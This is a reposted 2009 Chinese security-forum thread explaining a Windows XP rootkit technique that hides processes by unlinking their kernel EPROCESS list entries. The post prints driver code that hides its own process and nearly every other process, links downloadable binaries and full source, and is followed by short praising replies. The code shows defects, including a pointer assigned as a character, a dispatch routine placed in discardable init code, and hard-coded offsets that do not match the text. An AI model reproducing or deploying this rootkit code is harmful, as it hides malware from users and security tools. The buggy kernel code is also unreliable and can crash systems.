查看: 6031|回复: 10
收起左侧

Rootkit技术-进程隐藏(轉)

[复制链接]
英仔
发表于 2009-3-17 18:48:19 | 显示全部楼层 |阅读模式
首先,内核程序 稍有不慎 就会系统崩溃 蓝屏!!!!  

      调试环境:windows XP SP3          由于修改了没公布的数据结构!! 采用的硬编址  所以以下的驱程针对XP 系统
其他系统则需要调整EPROCESS里的偏移地址才能!  否则蓝屏!!!

    开始 ,下面介绍一种好多牛人都玩开的进程隐藏技术!!  这个并不是内核钩子技术! 而是修改内核数据! 就是修改活动进程链表的!!  这是个双向链表! 挂接着当前的所有进程!!如果把当前的进程的链表拆除!实现隐藏! 因为windows系统是以线程为调度的~ 线程还可以得到cpu的时间资源!!

    在win2K 之后 R3态除了采用线程执行代码的技术之外,用户态所启动的进程,在进程表都可以查找!逃不出!即使是系统的服务进程!!!  不过在r0内核态 做手脚 那么就可以轻易骗过 R3态的进程查找!!!

   具体方法!

             就是通过PsGetCurrentProcess函数,来获取当前的KPROCESS的地址,而KPROCESS就是进程执行体,就是上面的EPROCESS的第一项。然后根据不同的操作系统的版本的偏移位置的不同,来得到_LIST_ENTRY链表,然后通过修改链表来达到隐藏进程的目的。

             同时,根据PsGetCurrentProcess返回的KPROCESS的地址得到了EPROCESS执行体之后,具体分析不同版本操作系统的EPROCESS结构体的不同,还可以做很多事情。 包括隐藏所有进程,或者其他行为!!

           还有一种方法是通过内核函数IoGetCurrentProcess()  直接获得当前进程的EPROCESS结构的指针!! 我就是采用这种方法了~~

            每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息,和相关结构的指针。EPROCESS 结构位于系统地址空间,所以访问这个结构需要有ring0的权限。使用 Win2k DDK 的 KD (内核调试器)我们可以得到 EPROCESS 结构的定义

            系统需要能够方便的遍历所有进程。所以进程的 EPROCESS 结构使用链表链在了一起。
所有进程(除了Idle进程)的 EPROCESS 通过 EPROCESS 结构偏移+a0处的 LIST_ENTRY ActiveProcessLinks 链在一起。
+0a0 struct _LIST_ENTRY ActiveProcessLinks
+0a0 struct _LIST_ENTRY *Flink
+0a4 struct _LIST_ENTRY *Blink
            通过全局变量 PsActiveProcessHead 可以找到这个链。
           PID 为 0 的 Idle 进程并没有链在这个链上。我们可以通过全局变量 PsIdleProcess 找到 Idle 进程的 EPROCESS。

            EPROCESS这个结构微软没有定义的结构! 所以不同版本是有差别的!! 所以我采用硬编址 !!

首先看以下效果!! 隐藏程序自身运行之后的进程!  这是rootkit木马 和病毒 常有的行为!!



以下是隐藏自身的  我在我的虚拟机调试的!!    程序在运行 进程表无法查找!!进程表看不到hideprocess.exe这个进程了!!!
1.jpg (59.53 KB)
2008-11-23 04:23

          752756.jpg (94.83 KB)
2008-11-23 04:23





以下是隐藏系统的几乎所有进程!

2.jpg (34.89 KB)
2008-11-23 04:23

    5555.jpg (72.08 KB)
2008-11-23 04:23



隐藏所有进程之后的性能显示!!!!整个XP SP3 占用内存几十M      哈哈  骗得人!!!

       fff.jpg (55.75 KB)
2008-11-23 04:23





以下就贴上核心代码!!


主要核心代码 好少!! 主要是在 驱动里面的 派遣函数 复制内容到剪贴板 代码:
/************************************************************************
* 函数名称:MyDDKCreateThread
* 功能描述:对读IRP进行处理,对应用程序的请求进行处理
* 参数列表:
      pDevObj:功能设备对象
      pIrp:从IO请求包
* 返回 值:返回状态
*************************************************************************/
#pragma INITCODE
NTSTATUS MyDDKCreateThread(IN PDEVICE_OBJECT pDevObj,IN PIRP pIrp)
{
   NTSTATUS status = STATUS_SUCCESS;
     KdPrint(("Enter HelloDDKDeviceIOControl\n"));
   //得到当前堆栈
   PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
   //得到输入缓冲区大小
   ULONG cbin = stack->Parameters.DeviceIoControl.InputBufferLength;
   //得到输出缓冲区大小
   ULONG cbout = stack->Parameters.DeviceIoControl.OutputBufferLength;
   //得到IOCTL码
   ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;
  
   ULONG info = 0;
        switch (code)
        {      // process request
             case IOCTL_CreateThread:
             {
              
                  KdPrint(("IOCTL_CreateThread\n"));
                  //这个IOCTL本来是想用来生成系统线程! 不过在这个事例中,不做任何事!!
               
                  //UCHAR* InputBuffer = (UCHAR*)pIrp->AssociatedIrp.SystemBuffer;
                  //for (ULONG i=0;i<cbin;i++)
                  //{
                  // KdPrint(("%X\n",InputBuffer));
                  //}
               
                  //操作输出缓冲区
                   // UCHAR* OutputBuffer = (UCHAR*)pIrp->AssociatedIrp.SystemBuffer;
                   // memset(OutputBuffer,0xAA,cbout);
                  //设置实际操作输出缓冲区长度
                   //info = cbout;
           
              break;
              }
              case IOCTL_HProcess:
              {
                 KdPrint(("IOCTL_HProcess\n"));
                 
                 UCHAR* OutputBuffer = (UCHAR*)pIrp->AssociatedIrp.SystemBuffer;
                 
                  PEPROCESS ppEprocess = IoGetCurrentProcess();
                  PLIST_ENTRY FPLE,SPLE,LtempF,LtempB,Fsave;
                  FPLE=(PLIST_ENTRY)((ULONG)ppEprocess + 0x088);   //保存当前进程的进程活动链 ActiveProcessLinks
                  SPLE=FPLE;                                //指向下一个活动链表
                  int len=0;
                  //双向链表枚举进程Flink
                  do{
               
                                      UCHAR* ProcessName = (UCHAR*)((ULONG)SPLE + 0x0EC);
                      for(unsigned int i=0 ; i<strlen((char*)ProcessName) ;i++)
                      {
                           OutputBuffer[len]=ProcessName;
                           len++;
                         }
                         OutputBuffer[len]=0x0A;  //分隔符
                         len++;
                      info =info + strlen((char*)ProcessName);
                     
                      SPLE=SPLE->Flink;
                     
                                 }while(FPLE!=SPLE);
                                 
                                 //隐藏自身进程
                                 LtempF=FPLE->Flink;
                                 LtempF->Blink=FPLE->Blink;//连接向后的链
                                 LtempB=FPLE->Blink;       //连接向前的链                           
                                 LtempB->Flink=LtempF;
                             //    FPLE=LtempF;
                           
                                 FPLE=FPLE->Flink->Flink->Flink->Flink;  //跳过几系统需要的进程
                                 
                                //隐藏系统其他进程
                                Fsave=FPLE->Blink;
                               while(1)
                               {
                                 
                                 //断去自身的链表
                                 LtempF=FPLE->Flink;
                                 LtempF->Blink=FPLE->Blink;//连接向后的链
                                 LtempB=FPLE->Blink;       //连接向前的链                           
                                 LtempB->Flink=LtempF;
                                 FPLE=LtempF;
                                 if(FPLE->Flink==Fsave)
                                 break;
                              }
                                 
                           
                           
                                
                                
                 break;
              }
           
             default:
              status = STATUS_INVALID_VARIANT;
        }

   // 完成IRP
   pIrp->IoStatus.Status = status;
   pIrp->IoStatus.Information = info; // bytes xfered
   IoCompleteRequest( pIrp, IO_NO_INCREMENT );
   KdPrint(("Leave HelloDDKDeviceIOControl\n"));
   return status;
}

补上调试程序和全部代码!! 有兴趣研究!!呵呵·

隐藏几乎所有进程程序: hide_all_process.rar (31.5 KB) hide_all_process.rar (31.5 KB)
下载次数: 72
2008-11-23 04:23


隐藏自身进程程序 hide_myself_process.rar (31.45 KB) hide_myself_process.rar (31.45 KB)
下载次数: 70
2008-11-23 04:23



代码: 加载程序代码.rar (11.03 KB) 加载程序代码.rar (11.03 KB)
下载次数: 68
2008-11-23 04:23


          驱动代码.rar (3.15 KB)
cruiyong
发表于 2009-3-18 18:11:35 | 显示全部楼层
可惜,可惜,掩看不懂..
djlegend
发表于 2009-3-18 18:23:35 | 显示全部楼层
好深奥!
z1717332
发表于 2009-4-1 19:41:49 | 显示全部楼层
好难懂啊!!!!!!!!!
song-ci
发表于 2009-4-1 19:49:31 | 显示全部楼层
太专业了,技术不达标
qingyi777
发表于 2009-4-2 17:02:12 | 显示全部楼层
学习中,好文章啊
chaoyesok
发表于 2009-4-2 17:03:08 | 显示全部楼层
thank you share
MagicFuzzX
发表于 2009-5-30 14:44:14 | 显示全部楼层
硬编码啊,硬编码
金色飞龙
发表于 2009-5-30 16:55:22 | 显示全部楼层
楼主这是转贴还是自己写的?  如果是自己写的  那真的很牛
多管闲事
发表于 2009-5-30 16:59:30 | 显示全部楼层
不错,支持一下。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-7 06:14 , Processed in 0.125814 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表